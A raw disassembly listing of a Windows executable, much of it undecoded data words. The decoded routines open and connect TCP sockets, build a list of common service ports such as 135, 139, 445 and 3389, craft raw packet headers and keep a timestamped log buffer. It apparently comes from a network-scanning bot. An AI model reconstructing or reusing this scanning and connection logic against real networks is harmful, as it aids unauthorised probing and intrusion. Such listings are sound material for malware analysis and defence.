		dd 0F475FFFFh, 70858D50h, 50FFFFFFh, 0FE6CB5FFh, 7AE8FFFFh
		dd 83FFFF48h, 858D14C4h, 0FFFFFC6Ch, 0D3AE850h,	75FF0000h
		dd 66D0E8F0h, 5959FFFFh, 0F1E89056h, 55022DAFh,	0EC81EC8Bh
		dd 0CCh, 358B5653h, 4270B0h, 8957DB33h,	0D6FFFC5Dh, 0FF68h
		dd 6A036A00h, 0F0458902h, 0BA6415FFh, 4589004Ch, 50D6FFF8h
		dd 7273E8h, 78BF5900h, 57000005h, 16A096Ah, 3B7CE8h, 50595900h
		dd 50D8458Dh, 6F0FE8h, 0CC48300h, 5A0BEh, 0F2E89000h, 2B0228B7h
		dd 0D233F045h, 3E8B9h, 3BF1F700h, 1A085h, 0C2870F00h, 39000001h
		dd 4CF1901Dh, 6A597500h, 45895810h, 458D50ECh, 0E8505398h
		dd 6ED0h, 8D0CC483h, 8D50EC45h,	0FF509845h, 15FF0875h
		dd 4CB988h, 0FF68h, 0E8016A00h,	3B11h, 0F505959h, 509E45B6h
		dd 9D45B60Fh, 45B60F50h, 858D509Ch, 0FFFFFF34h,	42D91468h
		dd 83E85000h, 83000071h, 13EB18C4h, 0FF34858Dh,	7068FFFFh
		dd 50004CEBh, 7797E8h, 8D595900h, 0FFFF3485h, 15FF50FFh
		dd 4CBA24h, 8BF44589h, 4524A845h, 0C6450C56h, 8910AC45h
		dd 15FFA845h, 4CB9E4h, 0AE458966h, 7199E8h, 45896600h
		dd 0F4458BB0h, 8BB84589h, 19C85h, 45C76600h, 0C60040B2h
		dd 0C640B445h, 6606B545h, 89B65D89h, 6FE8BC45h,	66000071h
		dd 0E8C04589h, 7166h, 0C2458966h, 715DE8h, 0C4458900h
		dd 7155E8h, 0C8458900h,	66CC458Bh, 6AFF5025h, 0C6500C14h
		dd 6618CE45h, 66CC4589h, 66C2458Bh, 8B8A4589h, 4589BC45h
		dd 0A8458D8Ch, 45C76650h, 66787DD0h, 66D25D89h,	66D45D89h
		dd 28845C7h, 0FD57E800h, 8966FFFFh, 458DB645h, 50286AA8h
		dd 0FFFD48E8h, 0B8458BFFh, 8910C483h, 0FFFF5485h, 0BC458BFFh
		dd 58C68h, 58858900h, 88FFFFFFh, 0FFFF5C9Dh, 5D85C6FFh
		dd 6FFFFFFh, 69C55DE8h,	89669071h, 0FFFF5E85h, 60858DFFh
		dd 6AFFFFFFh, 458D5014h, 1DE850C0h, 8D00007Bh, 0FFFF7485h
		dd 8D5057FFh, 0E850D845h, 7B0Ch, 0FF54858Dh, 9868FFFFh
		dd 50000005h, 0FFFCE0E8h, 20C483FFh, 0D2458966h, 458D106Ah
		dd 8D535088h, 5056A845h, 0FFF875FFh, 4CBA4815h,	0FC45FF00h
		dd 0FFFE20E9h, 0F875FFFFh, 0BA7C15FFh, 458B004Ch, 5B5E5FFCh
; ---------------------------------------------------------------------------
		leave
		retn
; ---------------------------------------------------------------------------
word_41525A	dw 8B55h		; DATA XREF: sub_401ACD+4B97o
		dd 14EC81ECh, 8B000004h, 0B8560855h, 85h, 8BC88B57h, 0ECBD8DF2h
		dd 81FFFFFDh, 214ECh, 8BA5F300h, 0ECB58DC8h, 8BFFFFFDh
		dd 1082C7FCh, 1000002h,	0F3000000h, 37E8A5h, 0C4810000h
		dd 214h, 0EC858D50h, 68FFFFFBh,	437C9Ch, 6FB4E850h, 858D0000h
		dd 0FFFFFBECh, 0A7AE850h, 75FF0000h, 6410E8F0h,	0C483FFFFh
		dd 0E8006A14h, 22DAD30h, 0EC8B5590h, 254EC81h, 56530000h
		dd 0FFBBh, 6A535700h, 0FF026A03h, 4CBA6415h, 0FFF88300h
		dd 75F44589h, 0AC858D1Ah, 68FFFFFDh, 437E8Ch, 6F60E850h
		dd 33590000h, 0C9E959FFh, 8D000002h, 46AEC4Dh, 6AFF3351h
		dd 0C7505702h, 1EC45h, 15FF0000h, 4CB9C4h, 75FFF883h, 7815FF0Eh
		dd 50004CB9h, 437E3C68h, 8D1BEB00h, 0FF500C45h,	4CBA2415h
		dd 0FFF88300h, 15FF2075h, 4CB978h, 7DF86850h, 858D0043h
		dd 0FFFFFDACh, 6F04E850h, 0C4830000h, 26EE90Ch,	66570000h
		dd 2DC45C7h, 0E415FF00h, 66004CB9h, 8DDE4589h, 0E8500C45h
		dd 7169BF74h, 0B0358B90h, 89004270h, 0D6FFE045h, 8DF84589h
		dd 8D500C45h, 0FFFDAC85h, 7DCC68FFh, 0E8500043h, 6EBEh
		dd 390CC483h, 214BDh, 57207500h, 0FDAC858Dh, 0B5FFFFFFh
		dd 210h, 8C858D50h, 50000001h, 0E80875FFh, 0FFFF4499h
		dd 8914C483h, 0D6FFFC7Dh, 33F8452Bh, 3E8B9D2h, 0F1F70000h
		dd 858DF08Bh, 10Ch, 6D67E850h, 0F03B0000h, 93870F59h, 0BE000001h
		dd 41Ch, 0FFBB05EBh, 39000000h,	4CF1903Dh, 6A527500h, 45895810h
		dd 458D50F0h, 0E85057CCh, 6B50h, 8D0CC483h, 8D50F045h
		dd 0FF50CC45h, 15FF0875h, 4CB988h, 0E8016A53h, 3795h, 0F505959h
		dd 50D245B6h, 0D145B60Fh, 45B60F50h, 458D50D0h,	0D91468ACh
		dd 0E8500042h, 6E0Ah, 0EB18C483h, 0AC458D10h, 4CEB7068h
		dd 21E85000h, 59000074h, 5C65659h, 4CED70h, 0E415FF45h
		dd 66004CB9h, 4CED72A3h, 0AC458D00h, 5C76650h, 4CED74h
		dd 89660001h, 4CED763Dh, 7805C600h, 80004CEDh, 0ED7905C6h
		dd 6611004Ch, 0ED7A3D89h, 15FF004Ch, 4CBA24h, 4CED7CA3h
		dd 0E0458B00h, 4CED80A3h, 8C858D00h, 50000000h,	8A3D8966h
		dd 0E8004CEDh, 6C85h, 7559C085h, 6DE4E810h, 0B9990000h
		dd 401h, 0EB52F9F7h, 8C858D0Eh,	50000000h, 6C64E8h, 0FF505900h
		dd 4CB9E415h, 86A36600h, 0E8004CEDh, 6DBAh, 401B999h, 8680000h
		dd 0F7000004h, 158966F9h, 4CED84h, 0B9E415FFh, 68004Ch
		dd 66000004h, 4CED88A3h, 6D90E800h, 0F7990000h,	8C6852FBh
		dd 0E8004CEDh, 6A30h, 8D0CC483h, 106ADC45h, 68565750h
		dd 4CED70h, 0FFF475FFh,	4CBA4815h, 0FFF88300h, 0A5840Fh
		dd 45FF0000h, 0B2F7E8FCh, 2B900228h, 0D233F845h, 3E8B9h
		dd 8BF1F700h, 0C858DD8h, 50000001h, 6BD4E8h, 59D83B00h
		dd 0FE74860Fh, 75FFFFFFh, 7C15FFF4h, 8B004CBAh,	858DFC75h
		dd 10Ch, 1CF66950h, 0E8000004h,	6BADh, 8BD23359h, 0C1C68BC8h
		dd 0F1F70AE8h, 5014EEC1h, 0FC75FF56h, 500C458Dh, 437D6868h
		dd 0AC858D00h, 50FFFFFDh, 6C91E8h, 18C48300h, 214BD39h
		dd 20750000h, 0AC858D57h, 0FFFFFFFDh, 210B5h, 858D5000h
		dd 18Ch, 875FF50h, 0FF426CE8h, 14C483FFh, 0C0335E5Fh, 0FFC3C95Bh
		dd 0FF56FC75h, 4CB97815h, 458D5000h, 0DC68500Ch, 0EB00437Ch
		db 0ACh
byte_41561D	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+6283o
		dd 414EC81h, 458B0000h,	0B9575608h, 85h, 0BD8DF08Bh, 0FFFFFDECh
		dd 80C7A5F3h, 210h, 1, 0FEF0858Dh, 0E850FFFFh, 6B09h, 858D5059h
		dd 0FFFFFE70h, 6AFBE850h, 50590000h, 0FDF0858Dh, 0FF50FFFFh
		dd 4CBA2415h, 47E85000h, 83000001h, 8D500CC4h, 0FFFBEC85h
		dd 7EB868FFh, 0E8500043h, 6BDEh, 0C483F633h, 0F875390Ch
		dd 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h, 50FFFFFFh
		dd 0FDECB5FFh, 0BAE8FFFFh, 83FFFF41h, 858D14C4h, 0FFFFFBECh
		dd 67AE850h, 75FF0000h,	6010E8F0h, 5959FFFFh, 0A932E856h
		dd 5F90022Dh
; ---------------------------------------------------------------------------
		pop	esi
		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		and	dword ptr [ebp-4], 0
		cmp	dword ptr [ebp+14h], 0
		push	esi
		push	edi
		jnz	short loc_4156FA
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		nop
		call	near ptr 71AB3E5Dh
		jmp	loc_4157B6
; ---------------------------------------------------------------------------

loc_4156FA:				; CODE XREF: ___:004156E4j
		mov	esi, [ebp+8]
		push	1
		pop	edi
		lea	eax, [ebp-8]
		push	eax
		push	8004667Eh
		push	esi
		mov	[ebp-8], edi
		nop
		call	near ptr 71AB155Ah
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	esi
		call	dword_4CB98C
		push	dword ptr [ebp+14h]
		lea	eax, [ebp-210h]
		mov	[ebp-108h], esi
		mov	[ebp-10Ch], edi
		push	0
		push	eax
		lea	eax, [ebp-10Ch]
		mov	[ebp-20Ch], esi
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp-210h], edi
		call	dword_4CB9CC
		test	eax, eax
		jnz	short loc_41575E
		or	eax, 0FFFFFFFFh
		jmp	short loc_4157B6
; ---------------------------------------------------------------------------

loc_41575E:				; CODE XREF: ___:00415757j
		or	edi, 0FFFFFFFFh
		cmp	eax, edi
		jnz	short loc_415769

loc_415765:				; CODE XREF: ___:00415789j
					; ___:004157ADj
		mov	eax, edi
		jmp	short loc_4157B6
; ---------------------------------------------------------------------------

loc_415769:				; CODE XREF: ___:00415763j
		lea	eax, [ebp-10Ch]
		push	eax
		push	esi
		call	sub_426350
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_41578B
		lea	eax, [ebp-210h]
		push	eax
		push	esi
		call	sub_426350
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_415765

loc_41578B:				; CODE XREF: ___:00415778j
		lea	eax, [ebp+8]
		mov	dword ptr [ebp+8], 4
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	1007h
		push	0FFFFh
		push	esi
		call	near ptr 71AB4122h
		nop
		cmp	eax, edi
		jz	short loc_415765
		mov	eax, [ebp-4]
		neg	eax
		sbb	eax, eax

loc_4157B6:				; CODE XREF: ___:004156F5j
					; ___:0041575Cj ...
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		dw 8B55h
		dd 0CEC81ECh, 53000001h, 16A5756h, 50DB3358h, 0FF685353h
		dd 6A000000h, 89026A03h, 22E8EC45h, 90716A02h, 6AEC4D8Dh
		dd 26A5104h, 0A35053h, 0FF004CF2h, 4CB9C415h, 0B0358B00h
		dd 0FF004270h, 0B5E850D6h, 5900006Ah, 196AC033h, 0FF00BD8Dh
		dd 8959FFFFh, 0FFFEF49Dh, 844D89FFh, 0FEF89D89h, 9D89FFFFh
		dd 0FFFFFEFCh, 0FF7485C7h, 401FFFFh, 85C70000h,	0FFFFFF78h
		dd 15h,	0FF7C85C7h, 16FFFFh, 45C70000h,	1780h, 8845C700h
		dd 35h,	508C45C7h, 0C7000000h, 519045h,	45C70000h, 5894h
		dd 9845C700h, 6Eh, 719C45C7h, 0C7000000h, 77A045h, 45C70000h
		dd 87A4h, 0A845C700h, 89h, 8BAC45C7h, 0C7000000h, 8FB045h
		dd 45C70000h, 1BBB4h, 0B845C700h, 1BDh,	0BC45C7h, 0C7000004h
		dd 599C045h, 45C70000h,	5DCC4h,	0C845C700h, 6B8h, 0EACC45C7h
		dd 0C700000Ch, 0D3DD045h, 45C70000h, 1388D4h, 0D845C700h
		dd 1A0Bh, 40DC45C7h, 0C700001Fh, 1F90E045h, 0ABF30000h
		dd 0C7F05D89h, 3E445h, 45C70000h, 0BB8E8h, 0FC5D8900h
		dd 6608458Bh, 0FF6485C7h, 2FFFFh, 0FF688589h, 458BFFFFh
		dd 5BC8DFCh, 0FFFFFF74h, 5848B66h, 0FFFFFF74h, 0E415FF50h
		dd 53004CB9h, 26A016Ah,	66858966h, 0FFFFFFFFh, 4CBA6415h
		dd 0E44D8D00h, 51F44589h, 0FF648D8Dh, 106AFFFFh, 7EE85051h
		dd 83FFFFFDh, 458910C4h, 0F475FFF8h, 0BA7C15FFh, 5D39004Ch
		dd 8B0C75F8h, 78BFC4Dh,	0F40D8489h, 83FFFFFEh, 8304FC45h
		dd 7C70FC7Dh, 0F204BF83h, 0D068004Ch, 570042CDh, 68D9E8h
		dd 0FF595900h, 0F44589D6h, 0FEF4858Dh, 5D89FFFFh, 0F84589FCh
		dd 452BD6FFh, 0B9D233F4h, 3E8h,	453BF1F7h, 8B45770Ch, 8BF845h
		dd 1574C33Bh, 0E4685750h, 5700437Eh, 0E8F04589h, 689Ah
		dd 0EB10C483h, 0FFFF681Ah, 0E8530000h, 31F5h, 0FF505959h
		dd 4CB9E415h, 0C0B70F00h, 0FFF04589h, 4583FC45h, 7D8304F8h
		dd 0A87C1CFCh, 6853286Ah, 4CF1A0h, 656BE8h, 0FFFFBE00h
		dd 5C60000h, 4CF1A0h, 685645h, 0C6000004h, 4CF1A905h, 5C60600h
		dd 4CF1A1h, 31A7E808h, 0C4830000h, 15FF5014h, 4CB9E4h
		dd 0A366286Ah, 4CF1A4h,	0B9E415FFh, 0D80004Ch, 4CF1A8h
		dd 901D39FFh, 66004CF1h, 4CF1A2A3h, 1D896600h, 4CF1A6h
		dd 0FE681A75h, 6A0000FFh, 3167E801h, 59590000h,	0C1084D8Bh
		dd 0CE2310E0h, 0BEBC10Bh, 4CEB7068h, 2415FF00h,	0A3004CBAh
		dd 4CF1ACh, 6808458Bh, 4000h, 4CF1B0A3h, 0C11D8800h, 0FF004CF1h
		dd 4CB9E415h, 66535600h, 4CF1C2A3h, 3123E800h, 0F88B0000h
		dd 0E7C15356h, 3117E808h, 0C4830000h, 57F80310h, 0B9E015FFh
		dd 0B8A3004Ch, 0A0004CF1h, 4CF1C0h, 24087D8Bh, 6A500C0Fh
		dd 0F1C0A214h, 8B66004Ch, 1D89F045h, 4CF1BCh, 0C61D8966h
		dd 66004CF1h, 4CF1B6A3h, 0DC3D8900h, 88004CF1h,	4CF1E01Dh
		dd 0E105C600h, 6004CF1h, 0B9E415FFh, 0A366004Ch, 4CF1E2h
		dd 0F1B6A166h, 0C766004Ch, 4CF1C805h, 89000200h, 4CF1CC3Dh
		dd 0CAA36600h, 89004CF1h, 5EBFC5Dh, 0FFFFBEh, 0FC5D3900h
		dd 53562F75h, 308CE8h, 50595900h, 0B9E415FFh, 0A366004Ch
		dd 4CF1B4h, 4CF1ACA1h, 0F1D8A300h, 5C6004Ch, 4CF1C1h, 0BC1D8902h
		dd 0EB004CF1h, 0C653561Fh, 4CF1C105h, 56E81000h, 59000030h
		dd 15FF5059h, 4CB9E4h, 0A3C0B70Fh, 4CF1BCh, 0A405FF66h
		dd 0FF004CF1h, 4CF1B805h, 0B6A16600h, 6A004CF1h, 0B4BE5905h
		dd 0BF004CF1h, 4CF1E4h,	0AA1D8966h, 66004CF1h, 0F1C41D89h
		dd 146A004Ch, 0A0BEA5F3h, 66004CF1h, 4CF1CAA3h,	90E85600h
		dd 6AFFFF4Eh, 0F1D86820h, 0A366004Ch, 4CF1AAh, 0FF4E7EE8h
		dd 10C483FFh, 0F1C4A366h, 106A004Ch, 4CF1C868h,	286A5300h
		dd 35FF56h, 0FF004CF2h,	4CBA4815h, 0FC45FF00h, 0FFFC7D81h
		dd 0F000003h, 0FFFF238Ch, 4AE890FFh, 2B0228ACh,	0D233F445h
		dd 3E8B9h, 3BF1F700h, 0E770C45h, 901075FFh, 26B30CE8h
		dd 0FDC2E902h, 5E5FFFFFh, 4CF204B8h, 0C3C95B00h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415C40	proc near		; CODE XREF: sub_401ACD+7111p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		push	edi
		mov	esi, offset dword_43DBA0
		mov	edi, 0B8h

loc_415C54:				; CODE XREF: sub_415C40+33j
		cmp	byte ptr [esi],	0
		jz	short loc_415C77
		push	[ebp+arg_0]
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415C77
		inc	[ebp+var_4]
		add	esi, edi
		cmp	esi, offset dword_43E720
		jl	short loc_415C54
		jmp	short loc_415CB9
; ---------------------------------------------------------------------------

loc_415C77:				; CODE XREF: sub_415C40+17j
					; sub_415C40+26j
		mov	esi, [ebp+var_4]
		push	ebx
		imul	esi, 0B8h
		push	edi
		push	0
		lea	ebx, dword_43DBA0[esi]
		push	ebx
		call	sub_41BF70
		push	17h
		push	[ebp+arg_0]
		push	ebx
		call	sub_41BFD0
		push	9Fh
		lea	eax, dword_43DBB8[esi]
		push	[ebp+arg_4]
		push	eax
		call	sub_41BFD0
		add	esp, 24h
		inc	dword_4294D0
		pop	ebx

loc_415CB9:				; CODE XREF: sub_415C40+35j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		leave
		retn
sub_415C40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415CC0	proc near		; CODE XREF: sub_401ACD+289Ap

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset dword_437F00
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_43DBA0

loc_415CEA:				; CODE XREF: sub_415CC0+72j
		cmp	byte ptr [esi],	0
		jz	short loc_415D25
		lea	eax, [esi+18h]
		push	eax
		push	esi
		push	edi
		push	offset dword_437EEC
		lea	eax, [ebp+var_200]
		push	200h
		push	eax
		call	sub_41C360
		push	1
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 2Ch

loc_415D25:				; CODE XREF: sub_415CC0+2Dj
		add	esi, 0B8h
		inc	edi
		cmp	esi, offset dword_43E720
		jl	short loc_415CEA
		pop	edi
		pop	esi
		leave
		retn
sub_415CC0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415D38	proc near		; CODE XREF: ___:004015A5p
					; ___:00401629p ...

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	near ptr 27A0000h
		nop
		mov	ebx, offset dword_4D3604
		mov	edi, 80h
		mov	esi, offset dword_4CF604

loc_415D5A:				; CODE XREF: sub_415D38+3Dj
		cmp	byte ptr [ebx],	0
		jz	short loc_415D71
		push	7Fh
		lea	eax, [ebx+80h]
		push	ebx
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch

loc_415D71:				; CODE XREF: sub_415D38+25j
		sub	ebx, edi
		cmp	ebx, esi
		jge	short loc_415D5A
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	edi
		push	esi
		call	sub_41C360
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_415D38	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415DAC	proc near		; CODE XREF: sub_4017ED+F7p
					; sub_401ACD:loc_408967p ...

var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_80]
		push	[ebp+arg_0]
		push	80h
		push	eax
		call	sub_41CB70
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_415D38
		add	esp, 14h
		leave
		retn
sub_415DAC	endp


; =============== S U B	R O U T	I N E =======================================



sub_415DD8	proc near		; CODE XREF: sub_401ACD+278Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, offset dword_4CF604
		xor	ecx, ecx

loc_415DDF:				; CODE XREF: sub_415DD8+13j
		mov	[eax], cl
		add	eax, 80h
		cmp	eax, offset dword_4D3604
		jl	short loc_415DDF
		cmp	[esp+arg_C], ecx
		jnz	short loc_415E0D
		push	ecx
		push	[esp+4+arg_8]
		push	offset dword_437F4C
		push	[esp+0Ch+arg_4]
		push	[esp+10h+arg_0]
		call	sub_409869
		add	esp, 14h

loc_415E0D:				; CODE XREF: sub_415DD8+19j
		push	offset dword_437F38
		call	sub_415D38
		pop	ecx
		retn
sub_415DD8	endp


; =============== S U B	R O U T	I N E =======================================



sub_415E19	proc near		; CODE XREF: ___:0040E1FFp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, offset dword_4CF604

loc_415E1F:				; CODE XREF: sub_415E19+27j
		cmp	byte ptr [esi],	0
		jz	short loc_415E34
		push	[esp+4+arg_0]
		push	esi
		call	sub_4185D3
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_415E46

loc_415E34:				; CODE XREF: sub_415E19+9j
		add	esi, 80h
		cmp	esi, offset dword_4D3604
		jl	short loc_415E1F
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_415E46:				; CODE XREF: sub_415E19+19j
		push	1
		pop	eax
		pop	esi
		retn
sub_415E19	endp

; ---------------------------------------------------------------------------
byte_415E4B	db 55h			; DATA XREF: sub_401ACD+2844o
; ---------------------------------------------------------------------------
		mov	ebp, esp
		sub	esp, 31Ch
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	45h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-11Ch]
		push	1
		rep movsd
		xor	edx, edx
		pop	edi
		cmp	[ebp-10h], edx
		mov	dword ptr [ebp-8], 80h
		mov	[ebp-4], edx
		mov	[eax+110h], edi
		jnz	short loc_415E9E
		push	edx
		lea	eax, [ebp-118h]
		push	dword ptr [ebp-14h]
		push	offset dword_437F7C
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409869
		add	esp, 14h

loc_415E9E:				; CODE XREF: ___:00415E7Ej
		cmp	byte ptr [ebp-98h], 0
		jz	short loc_415EBE
		lea	eax, [ebp-98h]
		push	eax
		call	sub_41C159
		test	eax, eax
		pop	ecx
		mov	[ebp-4], eax
		jz	short loc_415EBE
		mov	[ebp-8], eax

loc_415EBE:				; CODE XREF: ___:00415EA5j
					; ___:00415EB9j
		and	dword ptr [ebp+8], 0
		mov	esi, offset dword_4CF604

loc_415EC7:				; CODE XREF: ___:00415F1Fj
		mov	eax, [ebp+8]
		cmp	eax, [ebp-8]
		jge	short loc_415F21
		cmp	byte ptr [esi],	0
		jz	short loc_415F10
		cmp	byte ptr [ebp-98h], 0
		jz	short loc_415EF6
		cmp	dword ptr [ebp-4], 0
		jnz	short loc_415EF6
		lea	eax, [ebp-98h]
		push	eax
		push	esi
		call	sub_4185D3
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415F10

loc_415EF6:				; CODE XREF: ___:00415EDBj
					; ___:00415EE1j
		push	edi
		lea	eax, [ebp-118h]
		push	dword ptr [ebp-14h]
		push	esi
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409869
		add	esp, 14h

loc_415F10:				; CODE XREF: ___:00415ED2j
					; ___:00415EF4j
		inc	dword ptr [ebp+8]
		add	esi, 80h
		cmp	esi, offset dword_4D3604
		jl	short loc_415EC7

loc_415F21:				; CODE XREF: ___:00415ECDj
		lea	eax, [ebp-31Ch]
		push	offset dword_437F60
		push	eax
		call	sub_41C266
		xor	esi, esi
		pop	ecx
		cmp	[ebp-10h], esi
		pop	ecx
		jnz	short loc_415F5B
		push	esi
		lea	eax, [ebp-31Ch]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-118h]
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409869
		add	esp, 14h

loc_415F5B:				; CODE XREF: ___:00415F39j
		lea	eax, [ebp-31Ch]
		push	eax
		call	sub_415D38
		push	dword ptr [ebp-18h]
		call	sub_40B6D6
		pop	ecx
		pop	ecx
		push	esi
		nop
; ---------------------------------------------------------------------------
		db 0E8h
		dd 22DA088h
; ---------------------------------------------------------------------------
		pop	edi
		pop	esi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415F7A	proc near		; CODE XREF: ___:0041661Fp

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_4CBA64
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_415FF6
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_4CB9E4
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_4CBA24
		cmp	eax, esi
		jnz	short loc_415FDB
		push	[ebp+arg_0]
		call	dword_4CBA68
		test	eax, eax
		jz	short loc_415FF6
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

loc_415FDB:				; CODE XREF: sub_415F7A+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_4CB98C
		cmp	eax, esi
		jnz	short loc_415FFA
		push	edi
		call	dword_4CBA7C

loc_415FF6:				; CODE XREF: sub_415F7A+1Bj
					; sub_415F7A+58j
		mov	eax, esi
		jmp	short loc_415FFC
; ---------------------------------------------------------------------------

loc_415FFA:				; CODE XREF: sub_415F7A+73j
		mov	eax, edi

loc_415FFC:				; CODE XREF: sub_415F7A+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_415F7A	endp

; ---------------------------------------------------------------------------
dword_416000	dd 0B8EC8B55h, 11B4h, 64F3E8h, 8458B00h, 6A575653h, 59F08B6Dh
					; DATA XREF: sub_401ACD+A02o
		dd 0FE4CBD8Dh, 0A5F3FFFFh, 0FF5E016Ah, 0B089EC75h, 1B0h
		dd 0FE54858Dh, 0E850FFFFh, 0FFFFFF42h, 8359D88Bh, 7559FFFBh
		dd 4C858D52h, 68FFFFEEh, 437FFCh, 6214E850h, 0FF330000h
		dd 0F87D3959h, 571B7559h, 0EE4C858Dh, 75FFFFFFh, 858D50F4h
		dd 0FFFFFF6Ch, 0F6E85350h, 83FFFF37h, 858D14C4h, 0FFFFEE4Ch
		dd 0FCB6E850h, 75FFFFFFh, 564CE8F0h, 5959FFFFh,	6DE89056h
		dd 68022D9Fh, 43DB98h, 4113E853h, 83590000h, 7559FFF8h
		dd 4C858D59h, 68FFFFEEh, 437FCCh, 61B0E850h, 0FF330000h
		dd 0F87D3959h, 571B7559h, 0EE4C858Dh, 75FFFFFFh, 858D50F4h
		dd 0FFFFFF6Ch, 92E85350h, 83FFFF37h, 858D14C4h,	0FFFFEE4Ch
		dd 0FC52E850h, 5359FFFFh, 0BA7C15FFh, 75FF004Ch, 55E0E8F0h
		dd 5659FFFFh, 9F02E890h, 646A022Dh, 0AE37E890h,	0FF330226h
		dd 1000BEh, 858D5600h, 0FFFFEE4Ch, 55E85057h, 8300005Eh
		dd 858D0CC4h, 0FFFFEE4Ch, 53505657h, 0B9FC15FFh, 0C085004Ch
		dd 858D387Eh, 0FFFFEE4Ch, 42A08468h, 5DE85000h,	8D000067h
		dd 0FFEE4C85h, 4EE850FFh, 8300003Eh, 0C0850CC4h, 646A1474h
		dd 26ADE0E8h, 0A6A9002h, 0FF549DE8h, 59C085FFh,	858DA375h
		dd 0FFFFEE4Ch, 437F9868h, 0EBE85000h, 39000060h, 5959F87Dh
		dd 8D571B75h, 0FFEE4C85h, 0F475FFFFh, 6C858D50h, 50FFFFFFh
		dd 36CFE853h, 0C483FFFFh, 4C858D14h, 50FFFFEEh,	0FFFB8FE8h
		dd 0FF5359FFh, 4CBA7C15h, 0F075FF00h, 0FF551DE8h, 0E85759FFh
		dd 22D9E40h
		db 90h
; ---------------------------------------------------------------------------

loc_4161C1:				; DATA XREF: sub_401ACD+7696o
		push	ebp
		mov	ebp, esp
		sub	esp, 0A04h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-1FCh]
		rep movsd
		push	1
		xor	esi, esi
		pop	ebx
		mov	[ebp-10h], esi
		push	esi
		push	ebx
		push	2
		mov	[eax+1B0h], ebx
		mov	[ebp-0Ch], esi
		mov	[ebp-20h], esi
		call	dword_4CBA64
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp-18h], edi
		jnz	short loc_41620F
		push	offset unk_4380FC
